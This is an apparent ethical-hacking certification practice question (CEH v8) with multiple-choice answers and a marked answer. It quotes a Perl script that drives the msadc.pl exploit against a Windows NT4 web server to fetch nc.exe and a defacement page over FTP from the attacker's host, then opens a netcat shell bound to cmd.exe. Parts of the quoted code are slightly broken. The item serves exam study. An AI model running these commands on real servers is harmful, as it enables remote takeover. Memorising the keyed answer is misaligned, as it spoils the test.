Câu 108: EC0-350: ECCouncil Certified Ethical Hacker v8

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:system("perl msadc.pl -h $host -C \"echo open $your >testfile\""); system("perl msadc.pl -h $host -C \"echo $user>>testfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>testfile\""); system("perl msadc.pl -h $host -C \"echo bin>>testfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\""); system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\"");("perl msadc.pl -h $host -C \"echo quit>>testfile\"");system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");$o=; print "Opening ...\n";system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");Which exploit is indicated by this script?

1. A. A buffer overflow exploit
2. B. A chained exploit — đáp án hiện tại
3. C. A SQL injection exploit
4. D. A denial of service exploit